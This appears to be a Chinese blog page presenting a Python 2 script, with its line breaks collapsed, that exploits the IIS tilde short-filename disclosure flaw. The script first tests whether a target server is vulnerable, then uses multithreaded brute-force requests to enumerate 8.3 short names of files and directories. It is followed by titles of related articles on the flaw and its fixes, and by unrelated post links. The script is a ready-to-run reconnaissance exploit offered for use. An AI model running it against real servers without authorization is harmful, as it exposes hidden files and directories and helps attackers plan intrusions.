IIS短文件名扫描工具
#!/usr/bin/env python# -*- coding: utf-8 -*-import sysimport httplibimport urlparseimport stringimport threadingimport Queueimport timeimport stringclass Scanner(): def __init__(self, target): self.target = target self.scheme, self.netloc, self.path, params, query, fragment = urlparse.urlparse(target) if self.path[-1:] != '/': # ends with slash self.path += '/' self.payloads = list('abcdefghijklmnopqrstuvwxyz0123456789_-') self.files = [] self.dirs = [] self.queue = Queue.Queue() self.lock = threading.Lock() self.threads = [] def _conn(self): try: if self.scheme == 'https': conn = httplib.HTTPSConnection(self.netloc) else: conn = httplib.HTTPConnection(self.netloc) return conn except Exception, e: print '[Exception in function _conn]', e return None # fetch http response status code def _get_status(self, path): try: conn = self._conn() conn.request('GET', path) status = conn.getresponse().status conn.close() return status except Exception, e: raise Exception('[Exception in function _get_status] %s' % str(e) ) # test weather the server is vulerable def is_vul(self): try: status_1 = self._get_status(self.path + '/*~1****/a.aspx') # an existed file/folder status_2 = self._get_status(self.path + '/san1e*~1****/a.aspx') # not existed file/folder if status_1 == 404 and status_2 == 400: return True return False except Exception, e: raise Exception('[Exception in function is_val] %s' % str(e) ) def run(self): # start from root path for payload in self.payloads: self.queue.put( (self.path + payload, '****') ) # filename, extention for i in range(10): t = threading.Thread(target=self._scan_worker) self.threads.append(t) t.start() def report(self): for t in self.threads: t.join() self._print('-'* 64) for d in self.dirs: self._print('Dir: ' + d) for f in self.files: self._print('File: ' + f) self._print('-'*64) self._print('%d Directories, %d Files found in toal' % (len(self.dirs), len(self.files)) ) def _print(self, msg): self.lock.acquire() print msg self.lock.release() def _scan_worker(self): while True: try: url, ext = self.queue.get(timeout=3) status = self._get_status(url + '*~1' + ext + '/1.aspx') if status == 404: self._print('Found ' + url + ext + '\t[scan in progress]') if len(url) - len(self.path)< 6: # enum first 6 chars only for payload in self.payloads: self.queue.put( (url + payload, ext) ) else: if ext == '****': # begin to scan extention for payload in string.ascii_lowercase: self.queue.put( (url, '*' + payload + '**') ) self.queue.put( (url,'') ) # also it can be a folder elif ext.count('*') == 3: for payload in string.ascii_lowercase: self.queue.put( (url, '*' + ext[1] + payload + '*') ) elif ext.count('*') == 2: for payload in string.ascii_lowercase: self.queue.put( (url, '*' + ext[1] + ext[2] + payload ) ) elif ext == '': self.dirs.append(url + '~1') self._print('Found Dir ' + url + '~1\t[Done]') elif ext.count('*') == 1: self.files.append(url + '~1.' + ext[1:]) self._print('Found File ' + url + '~1.' + ext[1:] + '\t[Done]') except Exception,e: breakif len(sys.argv) == 1: print 'Usage: %s target' % sys.argv[0] sys.exit()target = sys.argv[1]s = Scanner(target)if not s.is_vul(): print 'Sorry, server is not vulerable' sys.exit(0)print 'server is vulerable, please wait, scanning...'s.run()s.report()
IIS短文件名扫描工具的更多相关文章
- 利用URLScan工具过滤URL中的特殊字符(仅针对IIS6)-- 解决IIS短文件名漏洞
IIS短文件名漏洞在windows服务器上面非常常见,也就是利用“~”字符猜解暴露短文件/文件夹名,比如,采用这种方式构造URL:http://aaa.com/abc~1/.aspx,根据IIS返回的 ...
- IIS短文件名漏洞原理与挖掘思路
首先来几个网址先了解一下 https://www.jb51.net/article/166405.htm https://www.freebuf.com/articles/web/172561.htm ...
- IIS短文件名泄露漏洞危害及防范方法
危害级别:轻微 IIS短文件名泄露漏洞 WASC Threat Classification 描述: Microsoft IIS在实现上存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件 ...
- IIS短文件名泄露漏洞危害及防范方法(转)
攻击方法(转自http://blog.sina.com.cn/s/blog_64a3795a01017xqt.html) 一直在寻找一种方法,如果我可以使用通配符"*" 和 &qu ...
- IIS短文件名漏洞复现
IIS短文件名漏洞复现 一.漏洞描述 此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的.它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问). ...
- 【中间件】IIS短文件名枚举漏洞
1.1.1 漏洞描述 为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名. 在Windows下查看对应的短文件名,可以使用命令 ...
- IIS短文件名漏洞修补方法之一改注册表一个注意项
1)1.png 为漏洞存在没有做任何修复的时候的扫描 修复:2) 修改注册表键值: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSy ...
- POC iis短文件名
__author__ = '*'# -*- coding:utf-8 -*- from lib.httpparse import httpparse def verify(protocol,ip,po ...
- IIS6利用URLScan修复IIS短文件名漏洞
一.下载URLScan 3.1 链接: http://pan.baidu.com/s/1i4HfKrj 密码: dmud 二.安装URLScan 3.1 安装完成以后,我们可以在System32/In ...
随机推荐
- Linux下磁盘分区挂载
一般你去买vps都会看到介绍说硬盘多少G 比如 80G 但是你进入系统df -h的时候发现怎么只有10G呢, 其实这10G是用来装系统的和一些常用服务软件的 不是给你放网站数据的 那50G硬盘在哪 ...
- editplus-使用正则表达式替换每行首字母和尾字母
打开EditPlus,输入多行数据,快捷键ctrl+h 打开替换窗口,选择“正则表达式”替换 行首批量添加 查找"^" 替换为“我是行首aaa” 行尾批量添加 查找&quo ...
- quartz介绍
Quartz 是一个开源的作业调度框架,它完全由 Java 写成,并设计用于 J2SE 和 J2EE 应用中.它提供了巨大的灵活性而不牺牲简单性.你能够用它来为执行一个作业而创建简单的或复杂的调度.本 ...
- 【CodeForces 589F】Gourmet and Banquet(二分+贪心或网络流)
F. Gourmet and Banquet time limit per test 2 seconds memory limit per test 512 megabytes input stand ...
- 关于 UINavigationController 的一些知识
1.在 UINavigationController 中,添加一个UITextView,虽然设置self.frame = textView.bounds(从0.0开始),但是系统会自动设置一个cont ...
- 【bzoj1912】 Apio2010—patrol 巡逻
http://www.lydsy.com/JudgeOnline/problem.php?id=1912 (题目链接) 题意 给出一棵树,要求在树上添加K(1 or 2)条边,添加的边必须经过一次,使 ...
- C++实现类似飞鸽的内网聊天工具,采用多播的协议实现
项目相关地址 源码:https://github.com/easonjim/FreeAnt bug提交:https://github.com/easonjim/FreeAnt/issues
- “SQLServerAgent当前未运行”问题解决
在执行SQLServer计划任务的时候,出现了如下所示的错误: 解决方法: 配置工具--sqlserver 配置管理器--SQLSERVER服务--右侧最下面--点击启动AGENT即可
- dedecms /include/filter.inc.php Local Variable Overriding
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 filter.inc.php这个文件在系统配置文件之后,里面有forea ...
- Android数据库升级
随着Android应用版本的迭代,经常遇到数据库表结构发生改变,或者一些指定的表数据需要更新.这也就引出一个问题Android数据库的更新问题. Android数据库升级分类 Android数据库更新 ...